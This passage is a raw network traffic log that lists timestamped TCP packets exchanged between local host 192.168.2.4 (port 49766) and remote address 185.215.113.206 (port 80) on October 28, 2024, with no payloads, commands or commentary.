Oct 28, 2024 08:17:39.907098055 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907110929 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907124043 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907135963 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907135963 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907136917 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907162905 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907164097 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907212973 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907224894 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907237053 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907248974 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907262087 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907263994 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907279015 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907351017 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907361031 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907371998 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907382011 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907382011 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907416105 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907427073 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907435894 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907437086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907459974 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907480955 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907499075 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907510996 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907521009 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907535076 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907546997 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907546997 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907562017 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907576084 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907582045 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907629967 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907640934 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907651901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907684088 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907684088 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907718897 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907732010 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907743931 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907761097 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.907778978 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907778978 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.907814026 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.908576012 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.908624887 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.908657074 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.908668995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.908742905 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.908746958 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.908755064 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.908766985 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.908778906 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.908804893 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.908804893 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.908816099 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.908827066 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.908838034 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.908850908 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.908854008 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.908883095 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.908883095 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.908927917 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.908940077 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.908973932 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.908977985 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.908989906 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909001112 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909010887 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909015894 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909044027 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909054041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909081936 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909096956 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909118891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909130096 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909131050 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909142017 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909143925 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909154892 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909174919 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909184933 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909192085 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909194946 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909209967 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909233093 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909233093 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909248114 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909260035 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909270048 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909275055 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909312963 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909316063 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909316063 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909322977 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909334898 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909383059 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909383059 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909435034 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909477949 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909490108 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909522057 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909535885 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909548998 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909560919 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909576893 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909591913 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909591913 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909638882 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909646034 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909657001 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909672022 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909683943 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909698009 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909706116 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909740925 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909769058 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909781933 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909805059 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909816027 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909821033 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909821033 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909826994 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909846067 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909847021 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909847021 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909859896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909861088 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909883976 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909894943 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.909940958 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.909989119 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.910000086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.910032034 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.910032034 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.910043955 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.910053015 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.910171032 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.910177946 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.910219908 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.910232067 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.910265923 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.910265923 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.910293102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.910305023 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.910334110 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.910335064 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.944933891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.944956064 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.944966078 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.945041895 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.945051908 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.945060968 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.945071936 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.945118904 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.945118904 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.945118904 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.947292089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.949017048 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.949039936 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.949052095 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.949089050 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.949089050 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:39.949268103 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.949279070 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.949287891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:39.949348927 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.053530931 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.059050083 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.342880964 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.342953920 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.343053102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343063116 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343110085 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.343110085 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.343224049 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343235016 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343245029 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343255997 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343269110 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343281031 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343292952 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.343292952 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.343324900 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.343532085 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343547106 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343556881 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343569040 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343579054 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343590021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343592882 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.343599081 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.343600988 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343650103 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.343666077 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.343705893 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343715906 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343725920 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343738079 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343748093 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.343784094 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.343825102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343837976 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343839884 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.343847990 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.343869925 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.343910933 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.344016075 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344028950 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344039917 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344050884 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344077110 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.344077110 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.344094992 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.344187021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344198942 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344208002 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344218969 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344229937 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344242096 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344254017 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.344254017 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.344327927 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.344335079 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344346046 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344356060 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344367027 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344391108 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.344391108 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.344424009 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.344671965 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344686985 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344698906 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344710112 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344722033 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344724894 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.344724894 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.344733953 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344769001 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.344769001 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.344819069 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344830990 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344840050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344851017 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344878912 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.344878912 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.344913006 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.344969034 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344981909 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.344991922 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.345021009 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.345041037 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.345093012 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.345180035 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.345751047 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.345761061 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.345802069 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.345941067 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.345953941 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.345964909 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.345976114 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.345987082 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.345997095 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.345997095 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.345999002 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.346045017 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.346076965 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.346092939 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.346103907 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.346132994 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.346132994 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.346144915 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.346155882 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.346163034 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.346163034 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.346210003 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.346221924 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.346234083 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.346244097 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.346266031 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.346285105 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.346399069 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.346411943 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.346421957 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.346434116 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.346452951 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.346452951 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.346493959 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.461318016 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461328983 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461339951 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461361885 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461379051 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461391926 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461402893 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461410046 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.461410999 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.461415052 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461431980 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461438894 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.461438894 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.461441994 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461463928 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.461482048 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.461539030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461550951 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461561918 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461572886 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461582899 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.461584091 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461611032 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.461627960 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461639881 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461651087 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461662054 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.461663008 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.461714983 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.461730957 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461750031 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461761951 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461775064 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461786985 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461797953 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.461797953 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.461798906 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461836100 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.461838007 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461848021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461863995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461874008 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.461874008 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.461886883 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461898088 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461909056 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:40.461925983 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.461925983 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:40.461957932 CET	80	49766	185.215.113.206	192.168.2.4
